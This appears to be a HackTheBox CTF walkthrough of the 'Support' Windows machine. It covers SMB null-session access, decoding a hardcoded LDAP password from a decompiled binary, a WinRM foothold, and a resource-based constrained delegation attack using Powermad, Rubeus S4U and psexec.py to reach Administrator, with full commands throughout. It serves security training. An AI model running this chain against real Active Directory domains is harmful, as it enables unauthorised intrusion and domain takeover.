In this walk through, we will be going through the Support room from HackTheBox. This room is rated as Easy on the platform and it consists of enumeration of SMB share to get a executable file. Post that, reverse engineering is required to get the password that the binary uses to bind the LDAP server, thus getting initial access as user support via WinRM. For Privilege escalation, A Resource Based Constrained Delegation attack is performed to get shell as NT AUTHORITY. So, let’s get started without any delay.
Table of Contents
Machine Info:
| Title | Support |
| IPaddress | 10.10.11.174 |
| Difficulty | Easy |
| OS | Windows |
| Description | Support is an easy Windows machine that requires enumeration of SMB share to get a executable file. Post that, reverse engineering is required to get the password that the binary uses to bind the LDAP server, thus getting initial access as user support via WinRM. For Privilege escalation, A Resource Based Constrained Delegation attack is performed to get shell as NT AUTHORITY. |
Enumeration:
- I started off with an Aggressive nmap scan and found multiple ports opened. The highlight was port 88 (Kerberos), then there were ports 139 and 445 (SMB) and 389 (LDAP).
$ sudo nmap -A 10.10.11.174 [sudo] password for wh1terose: Starting Nmap 7.80 ( https://nmap.org ) at 2023-12-11 21:17 IST sendto in send_ip_packet_sd: sendto(5, packet, 44, 0, 10.10.11.174, 16) => Operation not permitted Offending packet: TCP 10.10.14.24:58111 > 10.10.11.174:53 S ttl=49 id=28519 iplen=44 seq=1525618523 win=1024 <mss 1460> sendto in send_ip_packet_sd: sendto(5, packet, 44, 0, 10.10.11.174, 16) => Operation not permitted Offending packet: TCP 10.10.14.24:58112 > 10.10.11.174:53 S ttl=40 id=46843 iplen=44 seq=1525552986 win=1024 <mss 1460> Nmap scan report for 10.10.11.174 Host is up (0.20s latency). Not shown: 990 filtered ports PORT STATE SERVICE VERSION 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-12-11 15:48:04Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2016 (85%) OS CPE: cpe:/o:microsoft:windows_server_2016 Aggressive OS guesses: Microsoft Windows Server 2016 (85%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 2.02: |_ Message signing enabled and required | smb2-time: | date: 2023-12-11T15:48:26 |_ start_date: N/A TRACEROUTE (using port 139/tcp) HOP RTT ADDRESS 1 203.57 ms 10.10.14.1 2 204.16 ms 10.10.11.174 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 196.41 seconds
- I tried to enumerate some users using RPC and LDAP but found no luck.
- Next, i enumerated the SMB shares using smbclient. Found an interesting share called support staff tools.
smbclient -L 10.10.11.174
- Tried to access it using Null session and got in. In there, there was a strange & unusual binary called UserInfo.exe. So, downloaded the zip on my local machine for further analysis.
$ smbclient //10.10.11.174/support-tools Password for [WORKGROUP\wh1terose]: Try "help" to get a list of possible commands. smb: \> ls . D 0 Wed Jul 20 22:31:06 2022 .. D 0 Sat May 28 16:48:25 2022 7-ZipPortable_21.07.paf.exe A 2880728 Sat May 28 16:49:19 2022 npp.8.4.1.portable.x64.zip A 5439245 Sat May 28 16:49:55 2022 putty.exe A 1273576 Sat May 28 16:50:06 2022 SysinternalsSuite.zip A 48102161 Sat May 28 16:49:31 2022 UserInfo.exe.zip A 277499 Wed Jul 20 22:31:07 2022 windirstat1_1_2_setup.exe A 79171 Sat May 28 16:50:17 2022 WiresharkPortable64_3.6.5.paf.exe A 44398000 Sat May 28 16:49:43 2022 4026367 blocks of size 4096. 969484 blocks available smb: \> get UserInfo.exe.zip getting file \UserInfo.exe.zip of size 277499 as UserInfo.exe.zip (168.1 KiloBytes/sec) (average 168.1 KiloBytes/sec) smb: \> get npp.8.4.1.portable.x64.zip getting file \npp.8.4.1.portable.x64.zip of size 5439245 as npp.8.4.1.portable.x64.zip (1953.6 KiloBytes/sec) (average 1289.0 KiloBytes/sec) smb: \> exit
- Next, i executed it using mono and found that it is using LDAP queries in order to find users and get information about them.
Decompiling the UserInfo.exe
- I used the ILspy decompiler and uploaded the binary to it. The decompiled code reveals two main functions that the executable support – finduser and getuser. Along with that, found an interesting function called LdapQuery which then reveals an encrypted password hardcoded in one of the protected function related to the former.
private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";
- Used the below code and decoded the encoded string.
import base64
from itertools import cycle
enc_password = base64.b64decode("0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E")
key = b"armando"
key2 = 223
res = ''
for e,k in zip(enc_password, cycle(key)):
res += chr(e ^ k ^ key2)
print(res)
nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
- Next, used wirehshark to analyze the flow of LDAP requests which then reveals a potential username – support.
ldapsearch -h support.htb -D [email protected] -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "dc=support,dc=htb" "*"
- Moving on, dumped the information from the DC with the help of ldapdomaindump tool using found username and password combo. The domain_users.json file reveals the password for the user support.
ldapdomaindump 'ldap://support.htb' -u 'support.htb\ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
support: Ironside47pleasure40Watchful
Initial Access:
- Using Evil-WinRM got my initial foothold as user support and captured the user flag.
evil-winrm.rb -i 10.10.11.174 -u support -p Ironside47pleasure40Watchful
Trending
Privilege Escalation:
- Next, uploaded the SharpHound ingestor on to the target and uploaded the collected data to Bloodhound.
./SharpHound.exe -c all
- The “Shortest Path to Domain Admins” reveals that the user Support is a member of “Shared Support Accounts” group which as “Generic All” permissions to the DC. Due to the configured permissions, it becomes vulnerable to resource based constrained delegation attack. In this attack, an attacker can add a computer on the domain which is controlled by him and then on the behalf of it can request kerberos tickets impersonating a privilege user. Once tickets is being generated, then he can perform a Pass-The-Ticket attack and gain access as a highly privilege user.
Configuring RBCD
- Checking how many accounts we can add with the below command.
Get-ADObject -Identity ((Get-ADDomain).distinguishedname) -Properties ms-DS-MachineAccountQuota
- Downloaded PowerView on the machine and checks the ms-ds-machineaccountquota attribute for the exploit. It should not be 0.
- Next, uploaded the Powermad script on to the target and executed it.
- Added a Fake Computer to the Domain with Password123.
New-MachineAccount -MachineAccount FAKE-COMP01 -Password $(ConvertTo-SecureString 'Password123' -AsPlainText -Force) [+] Machine account FAKE-COMP01 added
- Checking the status of the newly added Computer.
Get-ADComputer -identity FAKE-COMP01
- Setting Resource-Based Constrained Delegation using PrincipalsAllowedToDelegateToAccount module.
Set-ADComputer -Identity DC -PrincipalsAllowedToDelegateToAccount FAKE-COMP01$ Get-ADComputer -Identity DC -Properties PrincipalsAllowedToDelegateToAccount
Performing S4U attack
- Next, generated the hash using Rubeus for our fake user.
.\Rubeus.exe hash /password:Password123 /user:FAKE-COMP01$ /domain:support.htb
- Using the above generated rc4 hash, requested the tickets from the DC impersonating as user “Administrator”.
./Rubeus.exe s4u /user:FAKE-COMP01$ /rc4:58A478135A93AC3BF058A5EA0E8FDB71 /impersonateuser:Administrator /msdsspn:cifs/dc.support.htb /domain:support.htb /ptt
- Copy the last ticket value in a file called ticket.kirbi.b64 (removing all the whitespaces) and then decoded and save it to a file named ticket.kirbi. Post that, converted it using ticketConverter.py.
base64 -d ticket.kirbi.b64 > ticket.kirbi ticketConverter.py ticket.kirbi ticket.ccache
- Used our ticket to gain access as user Administrator without specifying any password.
KRB5CCNAME=ticket.ccache psexec.py support.htb/[email protected] -k -no-pass
- Captured the root flag and completed the room.
Also Read: HTB – ServMon
Conclusion:
So that was “Support” for you. The machine features an SMB share that allows anonymous authentication. After connecting to the share, an executable file was discovered that was used to query the machine’s LDAP server for available users. Through reverse engineering, network analysis or emulation, the password that the binary used to bind the LDAP server was identified and can be used to make further LDAP queries. A user called support was identified in the users list, and the info field was found to contain his password, thus allowing for a WinRM connection to the machine. Once on the machine, domain information was gathered through SharpHound, and BloodHound revealed that the Shared Support Accounts group that the support user was a member of, has GenericAll privileges on the Domain Controller. A Resource Based Constrained Delegation attack was performed, and a shell as NT Authority\System was received. On that note, i would take your leave and will meet you in next one. Till then, “Happy hacking”.
